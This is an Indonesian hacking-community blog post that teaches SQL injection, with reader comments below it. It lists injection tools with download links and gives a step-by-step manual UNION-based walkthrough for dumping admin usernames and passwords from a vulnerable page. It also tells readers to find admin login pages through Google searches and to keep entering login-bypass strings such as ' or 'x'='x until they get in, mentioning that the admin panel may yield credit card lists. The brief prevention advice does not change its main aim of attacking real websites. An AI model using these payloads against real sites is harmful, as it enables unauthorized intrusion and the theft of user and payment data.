Binus Hacker - Independent Hacking Community   Subscribe to BINUS HACKER Subscribe to BINUS HACKERSubscribe to BINUS HACKER FacebookSubscribe to BINUS HACKER Twitter

Pengertian, Tutorial & Tools SQL Injection

24 November 2012
Penulis:   · Kategori Artikel: Tutorial

BINUS HACKER Binus Hacker Is Not Criminal Banner





Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia)

SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.

SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)

Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut:

1. BSQL Hacker

Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL injection yang di rancang untuk mengeksplor hampir seluruh jenis data base

[DOWNLOAD BSQL HACKER]

2. The Mole


Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.

[DOWNLOAD THE MOLE]

3. Pangolin

Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir untuk selur data base.

[DOWNLOAD PANGOLIN]

4. SQLMap

SQLMap adalah tool open source yang di jalankan menggunakan command dan support untuk data base MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

[DOWNLOAD SQLMAP]

5. Havij

Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.

[DOWNLOAD HAVIJ]

6. Enema SQLi

Berbeda dengan kebanyakan tool-tool injek yang di buat otomatis, enema bukanlah tool otomatis, enam tool yang di namis yang memang di rancang untuk profesional.

[DOWNLOAD ENEMA SQLI]

7. SQL Ninja

Sql Ninja di kembangkan oleh icesurfer tool yang di rancang untuk targen server SQL, data base fingerprint, dan semu kemampuan untuk mengendalikan database yang rentan injek.

[DOWNLOAD SQL NINJA]

8. SQL Sus

Sql Sus merupakan tool open source antar mukanya berbasis perintah, anda dapat mengambil data base, mendownload file dari data base server dan masih banya lagi.

[DOWNLOAD SQL Sus]

9. Safe SQL Injector

Safe SQL Injector terkenal dengan kemudahan penggunaannya Safe3 SI menawarkan serangkaian fitur yang memungkinkan deteksi otomatis dan eksploitasi kelemahan SQL injection dan pengambilalihan database server.

[DOWNLOAD SAFE SQL INJECTOR]

10. SQL Poizon

SQL Poizon memanfaatkan mesin pencarian Dork untuk menjaring situs-situs yang rentan untuk di injek. Sql Poizon memiliki browser yang telah terintegrasi di dalamnya.

[DOWNLOAD SQL POIZON]

Manual Tutorial SQL Injection

Pengertian SQL Injection, SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x

[ Langkah 1 ]

  • Carilah target
    Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
    contoh:
    [site]/berita.php?id=100′ atau
    [site]/berita.php?id=-100
    Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]

[ Langkah 2 ]

  • Mencari dan menghitung jumlah table yang ada dalam databasenya…
    gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
    [site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
    Misal:[site]/berita.php?id=-100+order+by+1–
    [site]/berita.php?id=-100+order+by+2–
    [site]/berita.php?id=-100+order+by+3–
    [site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
    Misal: [site]/berita.php?id=-100+order+by+9–

    Berarti yang kita ambil adalah sampai angka 8
    Menjadi [site]/berita.php?id=-100+order+by+8–

[ Langkah 3 ]

  • untuk mengeluarkan angka berapa yang muncul gunakan perintah union
    karena tadi error sampai angka 9
    maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
    misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
    [site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..

[ Langkah 4 ]

  • Untuk menampilkan table yang ada pada web tersebut adalah
    perintah table_name >>> dimasukan pada angka yangg keluar tadi
    perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”

[ Langkah 5 ]

  • untuk menampilkan semua isi dari table tersebut adalah
    perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()–

[ Langkah 6 ]

  • Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
    Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E–

[ Langkah 7 ]

  • Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
    perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah id,username,passwordContoh :

    [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–

[ Langkah 8 ]

  • Tahap terakhir mencari halaman admin atau login.

Source HN Forum

SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.

Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username

Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));


2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”

validatepassword = true
for i = 1 to len( input )

c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : or a’=’a
Password : or a’=’a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : or a’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

(Source: singgahpay.blogspot)

Semoga berbagai artikel tersebut bermanfaat, thanks to google and blogspot. :)

BINUS HACKER Binus Hacker Chat and Forum

Komentar

19 Komentar Untuk “Pengertian, Tutorial & Tools SQL Injection
Silahkan Berikan Tanggapan Anda Untuk Artikel Ini...

  1. Faris pada 24 November 2012 11:45 pm

    TOLONG SHARE HACK EMAIL YAHOO KK
    KIRIM KE email ini ya kk tutornya : farizjelek_tq@yahoo.com

  2. initial dee pada 26 November 2012 8:55 am

    nice share….

    thank’z..

  3. Jerry pada 26 November 2012 2:38 pm

    [DOWNLOAD BSQL HACKER]

    Tutorial Nya Gan Pliss, Kirim Via Email : conneted.hacking@gmail.com
    Makasih :)

  4. umz anonymouse pada 26 November 2012 7:12 pm

    saya mau tanya,apakah “hanya” metode SQL injection yg digunakan para defacer untuk mendeface atau meng-hack suatu website umz?krn website lain yg tdk bisa ditembus dgn SQL injection ini,bisa di deface dan di hack sm umz heiker lainnya..
    mohon pencerahannya =)
    #ambil bangku,seduh kopi #menyimak =)

  5. Donal pada 10 December 2012 9:09 pm

    Master Ane pengen skali belajar gmn seh caranya gabung d Binus Hacker, Mohon Infonya master

  6. wilis pada 28 December 2012 12:22 am

    please..!!! tutor dan instalasi bbsql…..

    thanks very much

  7. SQL INJECTION | Vocaloid daikazoku pada 2 March 2013 10:23 am
  8. agan-agan pada 10 March 2013 10:38 pm

    gan minta tutorialnya dong.butuh pencerahan dikit gan.kirim ke email ane ya
    11ipa1deanta@gmail.com

  9. andrey pada 13 March 2013 5:01 am

    None the less in the text.
    I ask for a clearer example again

  10. alief pada 19 March 2013 12:48 am

    pusing gann

  11. Wildan Meretas Situs Presiden SBY, Isengkah? | CakBud pada 13 April 2013 12:06 am

    [...] hosting, yang bisa ditembus dengan SQL Injection ( apa itu SQL Injection?  atau yang kurang jelas klik disini.. ), yang kemudian dilanjutkan dengan menanamkan backdoor berupa tools berbasis PHP berupa Web Shell [...]

  12. Coder4Life pada 14 April 2013 11:53 am

    kalo mau bener2 testing/coba IPnya di-MASK dulu, buat ngilangin jejak
    nanti kaya si peretas situs SBY, IP si dia kaga’ di mask dulu, ketangkep deh…

  13. XYZ FUSION pada 11 May 2013 12:30 am

    SQLI MANUAL THE BEST METODE

  14. Dedy Muswar pada 12 May 2013 11:08 pm

    ane baru nyoba yang havij, tapi blum berhasil2 juga.. coba yang lain dulu dah..

    the mole itu bawaan ubuntu atau gmana gan.. soalnya ane makenya juga ubuntu..!

  15. Contoh SQL Injection dengan PHP dan MySQL | RI32's WEBLOG pada 5 July 2013 4:14 pm
  16. Kursi Tamu Jati pada 10 October 2013 9:59 am

    metode yang bagus
    tapi saya masih kurang faham sama metode metodenya.

  17. maling kolor pada 24 January 2014 9:22 am

    gan kok username sama passwordnya dimasukin ada tulisan gini,
    Microsoft OLE DB Provider for SQL Server error ’80004005′

    [DBNETLIB][ConnectionOpen (Connect()).]SQL Server does not exist or access denied.

    /libcomctr/includes/sqlconnect.asp, line 23 itu passwordnya salah atau gimana,? semua udah gua coba,

  18. dotPHP pada 26 January 2014 1:13 am

    Gan,tutorialnya dong pliss :D kirim ke Ferry_anugerah_mumpuni@yahoo.com

  19. Contoh SQL Injection dengan php dan MySQL | Ilmu Komputer pada 15 April 2014 3:46 am
  20. Contoh SQL Injection dengan PHP dan MySQL pada 14 August 2014 3:20 am

Silahkan Berikan Tanggapan Anda...